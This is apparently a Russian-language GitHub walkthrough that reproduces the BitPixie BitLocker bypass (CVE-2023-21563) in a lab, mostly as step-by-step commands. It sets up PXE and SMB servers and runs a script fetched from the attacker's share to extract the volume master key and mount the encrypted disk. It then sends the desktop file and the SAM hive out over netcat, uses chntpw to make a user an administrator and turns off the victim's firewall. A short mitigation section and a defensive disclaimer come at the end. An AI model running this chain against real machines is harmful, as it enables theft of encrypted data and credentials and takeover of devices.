lr2006-robot/bitpixieВзлом шифрования BitLocker на основе уязвимости CVE-2023-21563
Воспроизведение на виртуальной машине. На локальной машине (атакующем) используется Ubuntu 22.04.5 LTS, жертвами выступают Windows 10 21H2 19041.1 и Windows 11 21H2 22000.318, на обеих включено шифрование BitLocker. В качестве менеджера виртуальных машин используется QEMU с управлением через virt-manager; здесь я работаю с виртуальной машиной Windows 11.
Мои файлы для воспроизведения взяты из репозитория Syss на Github; на их основе выполнена адаптация версий инструментов и обработка некоторых непредвиденных ситуаций. Можно скачать и использовать напрямую или модифицировать по необходимости. Образы виртуальных машин взяты с UUP Dump, где доступны для скачивания различные версии Windows; после загрузки достаточно выполнить cmd- или sh-файл, чтобы получить ISO-образ.
Установку и использование QEMU и virt-manager здесь повторять не буду, однако новым пользователям в virt-manager нужно включить редактирование XML через "Edit -> Preferences -> General -> Enable XML editing", чтобы можно было напрямую редактировать XML-конфигурацию виртуальной машины.
При создании виртуальной машины выберите "Local install media (ISO image or CDROM)" и укажите ранее загруженный ISO-образ Windows 11. Выделите подходящие ресурсы (CPU, память, дисковое пространство и т. д.) и обязательно выберите "Customize configuration before install", чтобы можно было отредактировать конфигурацию до установки. Здесь возможны проблемы с автоматическим определением системы — в таком случае выберите вручную "Microsoft Windows 10/11".
Теперь приступим к настройке. Самый важный момент (его нельзя изменить позже, остальное можно править сколько угодно после создания): на вкладке Overview выберите Firmware — "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". Если этот пункт не выбран — просто удалите виртуальную машину и создайте заново, это несложно.
Затем перейдите на вкладку "Boot Options" и убедитесь, что "SATA CDROM 1" отмечен, иначе не удастся установить систему. Можно переместить "SATA CDROM 1" в верх списка, чтобы упростить загрузку. После этого можно создавать машину; остальные настройки изменим уже после установки системы.
Видите сообщение "Press any key to boot from CD or DVD..."? Нажмите любую клавишу, чтобы войти в установщик, и следуйте подсказкам. Если вы случайно попали на другую страницу — не паникуйте: выберите "Boot Manager", затем "UEFI: QEMU DVD-ROM", и вы вернётесь к исходному экрану, где можно нажать любую клавишу для загрузки.
Далее установите систему: отметьте отсутствие ключа продукта и ставьте Pro-версию. Дальше идут регистрация учётной записи и прочая возня — рекомендую сразу использовать офлайн-запуск, чтобы избежать лишних проблем. Если такой опции нет, откройте командную строку через Shift + F10 и введите OOBE\BYPASSNRO, чтобы включить создание офлайн-учётной записи.
После нормального входа в систему можно ввести msinfo32 в терминале, чтобы посмотреть информацию о системе (на физической машине проверьте, что режим UEFI), затем выключить систему и приступить к изменению конфигурации:
<rom enabled="no"/>, чтобы включить сетевую загрузку. Пример:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
Выбор сетевой конфигурации virtio обусловлен в первую очередь её «паравиртуализированным» сетевым оборудованием, которое напрямую взаимодействует с хостом. Отключение ROM сетевой загрузки нужно для того, чтобы прошивка UEFI напрямую общалась с virtio-сетевой картой через встроенный протокол PXE, избегая лишних помех в процессе загрузки и гарантируя, что мы благополучно попадём в систему для дальнейшей настройки и тестирования.
Зайдите в виртуальную машину, установите драйверы virtio с CD-привода — всё настроится автоматически; можно быстро проверить работу сети. Затем включите шифрование BitLocker и создайте на рабочем столе файл flag для последующей проверки.
Если воспроизводить на физических машинах, достаточно соединить атакующую машину и жертву сетевым кабелем; настраивать virtio не нужно, остальная конфигурация практически та же. Единственное — на физической машине сетевых интерфейсов может быть несколько, и нужно выбрать правильный для настройки.
Настройка машины-жертвы завершена — выключаем её. Далее можно приступать к эксплуатации уязвимости по шагам, описанным ранее в принципе атаки.
Здесь приведём общую схему атаки для ознакомления — сперва беглый взгляд, далее реализуем по шагам:
На локальной машине (атакующей) должны быть установлены следующие пакеты:
В Ubuntu или Debian установить их можно следующей командой:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
В файлах проекта выполните build.sh для генерации bitpixie-initramfs. Если нужно адаптировать под локальное окружение — внесите изменения в build.sh, укажите нужные инструменты и версии, затем выполните повторную генерацию bitpixie-initramfs.
Затем введите ifconfig в терминале, чтобы узнать виртуальный шлюз локальной (атакующей) машины; ниже пример с моей машины:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Следующими командами запустите TFTP-сервер для процесса загрузки PXE и SMB-сервер для передачи скрипта с изменённым BCD-файлом; подставьте то, что мы только что выяснили, у меня это virbr0.
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
Основная проблема в том, что команда bcdedit может выполняться только от имени локального администратора. Однако, поскольку BCD-файл находится на незашифрованном EFI-разделе диска, существует несколько способов его извлечения. Один из них — физически извлечь жёсткий диск и вытащить BCD-файл на другой системе. Более простой и менее инвазивный способ — загрузиться в расширенные параметры запуска. На большинстве систем для этого достаточно Shift + перезагрузка. Этот способ работает даже на экране входа в систему. Далее в командной строке по пути «Диагностика -> Дополнительные параметры -> Командная строка» можно вводить команды. В процессе, скорее всего, появится экран восстановления BitLocker — его можно пропустить кнопкой «Пропустить этот диск».
Теперь введите в терминале ipconfig и посмотрите состояние сети: если отображается IP вида 10.13.37.xxx, можно пропустить следующие шаги; если нет — потребуется настроить сеть вручную. Сначала определите правильный путь: на каком диске находится нужная папка и какая версия у вашей виртуальной машины:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
Затем, исходя из результата, введите следующие команды для настройки сети:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig
Как только появится IP-адрес, можно выполнять передачу по SMB. Следующие команды перемещают изменённый BCD-файл прямо на машину атакующего, после чего можно сразу приступать к фактической атаке bitpixie:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat
Далее возвращаемся на экран и загружаемся через "Использовать устройство -> PXE-загрузка" в пониженный загрузчик, который загружает изменённый BCD, разблокирует диск, после чего ядро не загружается и выполняется pxesoftreboot. Если пункт PXE-загрузки не найден, выйдите и проверьте конфигурацию виртуальной машины — отмечена ли опция NIC на вкладке "Boot Options". Поскольку PXE-сервер под нашим контролем, мы попадаем в подготовленную заранее систему Debian.
Затем входим под пользователем root и используем команду su, после чего запускаем наш скрипт для раздела:
run-exploit /dev/sda3
Если всё прошло успешно, отобразятся подходящие данные VMK, а в текущем каталоге появится файл vmk.dat — это и есть извлечённый из памяти VMK-файл. Содержимое зашифрованного диска смонтировано в каталог /mnt, так что можно сразу зайти и посмотреть ранее созданный файл flag.
На этом мы успешно использовали уязвимость Bitpixie, извлекли VMK-файл зашифрованного BitLocker-диска и получили доступ к содержимому зашифрованного диска.
Конечно, возможны и сбои. Например, VMK-файл не найден — в этом случае стоит попробовать ещё раз: возможно, VMK не сохранился в памяти корректно или не был правильно просканирован, а также не исключено несоответствие версии BCD. Другой случай — VMK-файл найден, но зашифрованный диск не монтируется. Причиной может быть неполный или повреждённый VMK-файл; обязательно ищите корректную сигнатуру 03 20 01 00. Можно попробовать извлечь VMK заново или проверить, поддерживает ли используемый инструмент версию BitLocker текущей системы (в dislcker зафиксирована стабильная старая версия — можно скачать новую).
Итак, доступ к нужным файлам получен, но мы ещё не выгрузили оригинальные файлы с компьютера. Данные можно передать напрямую по сети на атакующую машину — я выбрал именно этот способ. Рекомендую переносить только полезные файлы, системные не нужны. В качестве примера возьму файл flag с рабочего стола и системный файл SAM.
Для передачи небольших файлов достаточно открыть порт на атакующей машине:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
На машине-жертве введите следующие команды для передачи файлов атакующему:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
Если нужно передать папку, сначала упакуйте её, затем передавайте:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
Хотя доступ к зашифрованному диску мы уже получили, полного контроля над компьютером жертвы у нас пока нет. На этом этапе можно использовать инструмент chntpw для изменения паролей учётных записей в системе и получения прав администратора. Впрочем, я рекомендую создать низкопривилегированного пользователя и затем повысить его до администратора — так надёжнее.
Здесь я повышаю низкопривилегированного пользователя Dorange до администратора. Сначала используем chntpw для изменения прав учётной записи; пример команды:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
Можно также сначала войти в интерактивный режим и посмотреть, какие пользователи есть:
chntpw - /mnt/Windows/System32/config/SAM
Затем просто следуйте подсказкам для изменения прав: можно либо изменить права напрямую, либо добавить пользователя в группу администраторов — разница небольшая. Рекомендую добавить в группу администраторов, так стабильнее. После изменений можно проверить права командой chntpw -i SAM.
Внимание: обязательно отмонтируйте раздел BitLocker, чтобы все изменения записались на диск, и только затем перезагружайте систему. Наконец, проверяем, удалось ли преобразование: введите в терминале net localgroup Administrators, чтобы посмотреть членов группы администраторов и убедиться, что добавленный нами пользователь Dorange в ней есть.
Теперь мы успешно реализовали на виртуальной машине взлом BitLocker на основе уязвимости CVE-2023-21563: извлекли VMK-файл, получили доступ к содержимому зашифрованного диска, экспортировали важные файлы, а также повысили низкопривилегированного пользователя до прав администратора.
С физической машиной всё не так просто, как с виртуальной: для виртуальной достаточно выполнить описанные выше шаги, и она работает с минимумом требований к оборудованию. На физической машине придётся шаг за шагом проверять аппаратную конфигурацию. Учтите: на большинстве компьютеров по умолчанию стоит домашняя редакция Windows, а BitLocker, похоже, доступен только в Pro, так что физическую машину, возможно, придётся обновить.
При проведении экспериментов наша команда обнаружила, что на новой версии Windows 25H2 атака практически невыполнима. Во-первых, при входе в командную строку из дополнительных параметров невозможно пропустить ввод ключа восстановления BitLocker. Даже если каким-то образом войти, при программной PXE-перезагрузке всё равно потребуется ввести ключ восстановления BitLocker для продолжения загрузки.
К начальному оборудованию физической машины требования тоже довольно высокие: на некоторых тонких ноутбуках и старых игровых ноутбуках аппаратно не поддерживается загрузка PXE. Здесь показан тонкий ноутбук Xiaomi, оборудование которого не поддерживает сетевую загрузку (при нормальной поддержке здесь был бы пункт Network Boot):
Что касается распространённого в Китае бренда ASUS, мы обнаружили, что даже на относительно старых версиях Windows машина зависает на этапе загрузки нашего ядра после сбоя PXE-загрузки (подозреваем, что производитель вводит аппаратные ограничения).
Прежде всего нужно проверить, поддерживает ли машина-жертва загрузку UEFI. Для этого введите в Windows msinfo32 и посмотрите сведения о системе: если в сводке указано, что «Режим BIOS» — «UEFI», значит, загрузка UEFI поддерживается.
Самое главное — проверить, установлен ли на физической машине исправляющий патч. Введите в терминале администратора Get-HotFix, чтобы посмотреть установленные обновления: если установлен KB5025885 или более поздний патч, уязвимость использовать нельзя. Также нужно проверить, не устарел ли наш сертификат (ходили слухи, что Microsoft в 2026 году выпустила новый сертификат, не знаю, правда ли это).
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"
Что касается настройки TPM: в Windows откройте диспетчер устройств, зайдите в «Устройства безопасности» и проверьте, есть ли устройство TPM и версия 2.0. Если его нет, нужно включить TPM в BIOS. Затем в терминале администратора введите manage-bde -protectors -get C:, чтобы посмотреть состояние шифрования BitLocker. Если PCR для TPM не 7 и 11, потребуется ручная настройка (похоже, сейчас по умолчанию распространены 0, 2, 4, 11).
Сначала нажмите "Win + R", введите gpedit.msc, чтобы открыть редактор локальной групповой политики. Перейдите по пути «Конфигурация компьютера -> Административные шаблоны -> Компоненты Windows -> Шифрование диска BitLocker -> Диски операционной системы», найдите параметр «Настройка профиля проверки платформы TPM для локальной прошивки UEFI», включите его и в параметрах выберите «PCR 7 и 11», подтвердите и выйдите.
Затем вернитесь в терминал администратора: сначала удалите прежний защитник TPM, затем добавьте его заново — так он будет настроен по выбранным ранее PCR 7 и 11. Помните: как выяснили ранее, наши загрузочные файлы выдаются за старую версию, поэтому PCR ни в коем случае не должен включать 4, иначе атака не удастся:
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:
На физической машине PXE-загрузка IPv4 может быть не включена по умолчанию, поэтому нужно включить её в BIOS. Какую клавишу нажимать для входа в BIOS — ищите в интернете (у разных компьютеров по-разному, здесь не описываю). Если не получается, используйте "Shift + перезагрузка", затем перейдите по пути «Диагностика -> Дополнительные параметры -> Параметры встроенного ПО UEFI», чтобы перезагрузиться в BIOS. На моей физической машине на вкладке Advanced в BIOS есть пункт Advance\Network Stack Configuration — достаточно включить Network Stack и Ipv4 PXE Support.
Теперь настроим физическое сетевое соединение: соедините атакующую машину и жертву сетевым кабелем. На атакующей машине нужно запустить DHCP-сервер, чтобы назначать жертве IP-адрес (можно назначить и вручную). Запустите DHCP-сервер заранее на атакующей машине:
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
Затем можно попробовать пропинговать IP-адрес жертвы, чтобы проверить связь. Если связь не появляется, нужно проверить сетевую конфигурацию:
brctl show virbr0
Посмотрите, пуст ли пункт interfaces; если да, добавьте физический сетевой интерфейс вручную: сначала посмотрите список, затем добавьте (интерфейс нужно определить самостоятельно):
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0
Когда снова посмотрите пункт interfaces, там должен появиться добавленный физический интерфейс. Теперь можно попробовать пропинговать IP-адрес жертвы — его можно узнать, введя ipconfig на машине-жертве. Если ping не проходит, проверьте сетевую конфигурацию и убедитесь, что атакующая машина и жертва находятся в одной подсети.
Если жертва пингует атакующую машину, а атакующая — жертву нет, нужно проверить настройки брандмауэра на жертве и убедиться, что трафик от атакующей машины разрешён; можно временно отключить брандмауэр:
netsh advfirewall set allprofiles state off
Кроме того, чтобы трафик подсети 10.13.37.0/24 гарантированно не блокировался на атакующей машине, выполните две эти команды (впрочем, обычно соединение работает и без них):
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
Но на самом деле при входе в командную строку из дополнительных параметров подключение к сети часто не выполняется автоматически, как при настройке виртуальной машины выше, и приходится вручную загружать драйверы. Правда, здесь не так просто, как с виртуалкой: сначала нужно подготовить файлы драйверов на флешке, затем загрузить драйверы на жертве и настроить сеть. Этот шаг простой и почти ничем не отличается от описанного выше, поэтому подробно останавливаться не буду. Дальнейшие шаги такие же, как для виртуальной машины, — просто следуйте предыдущей инструкции, чтобы получить нужный BCD-файл.
Разумеется, BCD-файл можно также извлечь прямо из виртуальной машины с той же системой, что и на физической, — тогда вообще не придётся настраивать сеть на физической машине: извлекли на виртуалке, передали по SMB на атакующую — и всё. Так гораздо проще и удобнее, но есть риск, что версия BCD не совпадёт, и в дальнейшем VMK-файл не найдётся.
Дальше идёт PXE-загрузка, и последующие операции ничем не отличаются. Однако из-за отсутствия аппаратной поддержки и прочих проблем возможны либо сбой загрузки с зависанием, либо успешный вход без получения VMK-файла. Поэтому при воспроизведении на физической машине из-за разнообразных программно-аппаратных проблем успех крайне маловероятен. Возможно, отчасти поэтому уязвимость, хоть и выглядит серьёзной, не получила широкого применения и долго не исправлялась.
В этой статье показано, что предзагрузочная аутентификация предотвращает доступ неавторизованных злоумышленников к содержимому зашифрованного диска. Однако предзагрузочная аутентификация не мешает злонамеренному инсайдеру, владеющему действительным PIN-кодом BitLocker, получить локальный административный доступ к устройству, отключить антивирус или извлечь кэшированные учётные данные. Это особенно критично для общих систем, поскольку позволяет злоумышленнику напрямую получить доступ к данным других пользователей той же системы.
Одна из эффективных мер против атак с понижением версии — изменить PCR, проверяемые TPM при разблокировке. В ответ на уязвимость загрузчика CVE-2024-38058 Microsoft добавила PCR 4 в процесс измеряемой загрузки. Этот регистр содержит хеш кода загрузчика, а также все попытки загрузки. Сейчас у некоторых компьютеров значения PCR по умолчанию — 0, 2, 4, 11.
Уязвимый загрузчик, используемый для атак с понижением версии, подписан сертификатом Microsoft Windows Production PCA 2011. Срок действия этого сертификата — 15 лет, то есть он действителен до июня 2026 года. Похожая участь ожидает Microsoft UEFI CA 2011 (используется для подписи сторонних загрузчиков) и Microsoft Corporation KEK CA 2011 (отвечает за базы данных и содержимое DBX). Поэтому в 2023 году Microsoft зарегистрировала новый набор корневых сертификатов: для подписи загрузчиков Windows будет использоваться новый Windows UEFI CA 2023. Пока регистрация этого удостоверяющего центра автоматически не завершена, но это можно сделать, вручную применив патч KB5025885. Этот патч добавляет новый CA в базу данных, устанавливает загрузчик, подписанный CA 2023 года, и отзывает CA 2011 года, добавляя его в базу данных DBX.
Если материал был полезен, пожалуйста, поставьте star проекту на Github!!!
Отказ от ответственности: все мои статьи — это технические материалы, публикуемые исключительно в оборонительных целях; все действия выполняются только в лабораторной среде. Не используйте их в иных целях, иначе вы несёте ответственность за последствия.